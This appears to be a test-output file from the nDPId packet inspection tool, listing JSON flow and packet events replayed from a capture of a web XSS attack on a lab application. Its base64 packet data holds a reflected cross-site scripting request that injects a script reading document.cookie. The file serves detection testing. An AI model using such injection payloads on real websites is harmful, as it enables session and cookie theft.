+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1678,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1499347168302,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54322,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1678,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":302582,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8pdZAAD4GH\/qsEAABwKgKMtQyAFAP+Q4AAAAAAKACchC\/eAAAAgQFtAQCCAoBOavWAAAAAAEDAwc="} +00445{"flow_id":117,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1679,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":302748,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1DJusJVZD\/kOAaAScSA7HQAAAgQFtAQCCAoD431NATmr1gEDAwc="} +00432{"flow_id":117,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":303520,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pddAAD4GIAGsEAABwKgKMtQyAFAP+Q4BbrCVWoAQAOXaIwAAAQEICgE5q9cD431N"} +01216{"flow_id":114,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1681,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":303947,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9YKtAAD4GYuSsEAABwKgKMtP8AFCcuco5xlb7Q4AYAR1AlQAAAQEICgE5q9cD430KR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdIUVQzWVpPWU9PVDVLRjdYWlFXTDRSSVJNMlcwNEE1SUxXQ1hFMzhQM0ZSVVZTTlZNRCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02955{"flow_id":114,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1682,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":308686,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAkQlAAEAGK4PAqAoyrBAAAQBQ0\/zGVvtDnLnMgoAYAP5+XgAAAQEICgPjfU4BOavXSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE5OjI4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59POqAS66a0upYmW0ECR3ShpCQQWp20cnadxMS73treBL79jfeRLM+wDRIKXnsev\/GMxzN+s1n\/o3XW7P\/oHqGJCQXqXhx22k2EdwkZ7DUJafVb6Oqkf9pBNecd6hnFfUPI0TeM8MSYeJ+Q+XzuzPccqcakf05urJSaZcuHuzrlcQITYPfN5pvNeqrnJhSRbjwio\/b58+eMNSPfqE8YDWC4sVEPmaHIsuyyXwmfNXBTRoZFZrd\/GzOM\/OyrgQ27McSK+IL8CVWamcZF\/3j3E0Ykk7lRN9wI5l4mImKKDrng5nYfnbORYL5hAWoqqTXqccNQz1c8Njwao+2rXm8H7e+jFg0jVPAKhgZsiA7iWHCfGi4jtN26HBzsoFnNqb1Db1tsxoSMQ4D2tk4yxTkKwaMpUkw0sDa3gukJYwYjA9bkRvhaYzRRbNTAjkPgL5jNqZ0lIeWRky6Th9I4bEUh5z8e0jEjMHVX0ojOLJmTLixk6NTaMoRrOqPZLEZa+XeAXOv0fxcUONcau3WSUeaeI7nr7Hgog1vkC6qt12XIcObSgM8QDxrY+g4sYir3emnJCinNb9R5OH6AJDVSEyHH0omjMUZUQCCscNTSbsAK6h6otpvsgeOSkvYHa15Mg4AFmUFAkIjCTrt6KKQ\/tVsjOJKRD6qnDTznUSDnDiylOBpbmSXOFi5YgYHecZeD3RPYtjqhsMuCu5svEcgjOH2Jb6e0E0\/iZ+TfJ8VuuzRTTS0cuCReoW9Bg92eHSICxw8mUeuwpIwkwl1jQ2el880hPIYqMYw8g+pxBuwe2v\/oWCq\/ogfuC2Q3zK8CIKXHblOGIY0C1I6uWeqR9VD4Wo2qoEjpAUXv\/Hg9xSNOnK8xHNUGB84kYCui5EX82D3mcLjbdkavvTdJLCQNquxOzpHDuEi\/1vQPjQ3cXJVclLOk55b5iWKoedDtN08O1oOifwleBUdKD2f6e+e1gtVK9IZwuVVySonrHhq0fWind9ZDNWd06vFKkAoW7A5ghHpM22hF7VbF9Hpf7o3WXiUgGQN2oZ6BWuXsdM2tsOJUSb9mWRX1IhyqwLEovl4Bja66G7pA0TNS3YWw5hWUnkWoLldeh0sy7Nr6EeIjm6q2HcDPo5Fcoa5Ehd3uSRdOx0hWU0SHMjEr1CxosHtgh6+3rbbQW6l+SYTdTjq+ByCv2O7Ufk8XgraEXRaC0MnY1Vy3XSsXgvVJ7Xe6CyiZa3nBXBI+W1Swni8D5lHFaF4\/j6QKUURDqNaBH8reNMU18J8YQbc0kYD9n6N+XpvW49ziwYSaLY1uZaJS5q9FZR3FSbn4x7lo+7uob8tEOhmGHMhmVCTw2cs+c20kdrOmgliUGd5YMfeECSFR3mq4UPlrKRh4eLy9dfK9v\/fj59mPs7P+x3+P\/776+X3Q+XDePj99P3j34eBjuzNoXh3tferuHZ9fXPa+XZ62tna+lCUE0k9sp+X4Uk452\/myaEkAjmKpa5Yerk\/eu6dw4NPwVyHNLiuYtGt5fEA0LuPKNp86b1jlnOo47VkhRNmNDTOSenZXg2e9hWe91LPQjlE1hk4Uw61Eoyl2f1\/WIoor4wNuD6oUw5R3BG0dmOs1ob8yXi9vPStifF7eapwscuZ8ymMWcJqKtl9ly3Vh+dPYXi7jeTy5mf6YL5KxL0N7PeyO6C8nfZJ4FMQLGF+kOcNJBVOmlkp4Vt0D6rKOPLtloV50rkMF\/W72W6SwJ1Jennd8wahanObH8qK+1YaFnr1LHs0Pw8QY22fn+eGSszmC4x8vcnYs4yT2CjIZNbOsv3x02AeKi3gbPXHbz0CiNwGJNhy\/AqS0pvircERDyPkW2sEuWgmrB8nQZ68LTKcyV0Kzu0kFH0PeFmwE+bPOQvdCM2Xz7n6dwBeiQcij3IXwXRQHqGNfl3IakLikgFu93erlKwHX9voICi8+6dCRlObOY0vsrvPaFT92rZYTMLEXZ\/YumL7Yuf8DtHkFp5IUAAA="} +00433{"flow_id":114,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1683,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347168,"pkt_ts_usec":309374,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YKxAAD4GZSysEAABwKgKMtP8AFCcucyCxlcCj4AQATvJ4wAAAQEICgE5q9gD431O"} +00948{"flow_id":114,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1684,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":314582,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzYK1AAD4GY6ysEAABwKgKMtP8AFCcucyCxlcCj4AYATt38AAAAQEICgE5rNMD431OR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02822{"flow_id":114,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":317902,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcekQtAAEAGK+PAqAoyrBAAAQBQ0\/zGVwKPnLnOAYAYAQd9\/AAAAQEICgPjfkoBOazTSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE5OjI5IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1687,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1499347169573,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54336,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1687,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":573975,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83TtAAD4G6JSsEAABwKgKMtRAAFDvZ3AvAAAAAKACchB8jgAAAgQFtAQCCAoBOa0UAAAAAAEDAwc="} +00444{"flow_id":118,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1688,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":574068,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1EA8SVzP72dwMKAScSBh5gAAAgQFtAQCCAoD436LATmtFAEDAwc="} +00432{"flow_id":118,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1689,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":574858,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03TxAAD4G6JusEAABwKgKMtRAAFDvZ3AwPElc0IAQAOUA7gAAAQEICgE5rRQD436L"} +00433{"flow_id":115,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1693,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":659197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yU9AAD4G\/IisEAABwKgKMtQKAFBoaGFcwjzhM4ARAOWRiQAAAQEICgE5rSkD43mM"} +00432{"flow_id":115,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1694,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":659438,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0n5NAAEAGJEXAqAoyrBAAAQBQ1ArCPOEzaGhhXYARAOOMdgAAAQEICgPjfqABOa0p"} +00433{"flow_id":115,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1695,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347169,"pkt_ts_usec":660134,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0yVBAAD4G\/IesEAABwKgKMtQKAFBoaGFdwjzhNIAQAOWMcwAAAQEICgE5rSoD436g"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":6,"flow_first_seen":1499347096201,"flow_last_seen":1499347101640,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53570,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":6,"flow_first_seen":1499347096201,"flow_last_seen":1499347101640,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53570,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":6,"flow_first_seen":1499347098746,"flow_last_seen":1499347104641,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53598,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":6,"flow_first_seen":1499347098746,"flow_last_seen":1499347104641,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53598,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":6,"flow_first_seen":1499347101314,"flow_last_seen":1499347106642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53624,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":6,"flow_first_seen":1499347101314,"flow_last_seen":1499347106642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53624,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":6,"flow_first_seen":1499347102609,"flow_last_seen":1499347107642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53638,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":6,"flow_first_seen":1499347102609,"flow_last_seen":1499347107642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53638,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":6,"flow_first_seen":1499347105154,"flow_last_seen":1499347110642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53664,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":6,"flow_first_seen":1499347105154,"flow_last_seen":1499347110642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53664,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":6,"flow_first_seen":1499347106438,"flow_last_seen":1499347111642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53678,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":6,"flow_first_seen":1499347106438,"flow_last_seen":1499347111642,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53678,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":116,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1702,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347171,"pkt_ts_usec":659829,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vRdAAD4GCMGsEAABwKgKMtQYAFCo9hRE2I3eloARAOWHHAAAAQEICgE5rx4D43rM"} +00432{"flow_id":116,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1703,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347171,"pkt_ts_usec":660049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XgJAAEAGZdbAqAoyrBAAAQBQ1BjYjd6WqPYURYARAOOBVQAAAQEICgPjgJQBOa8e"} +00432{"flow_id":116,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1704,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347171,"pkt_ts_usec":660786,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vRhAAD4GCMCsEAABwKgKMtQYAFCo9hRF2I3el4AQAOWBUwAAAQEICgE5rx4D44CU"} 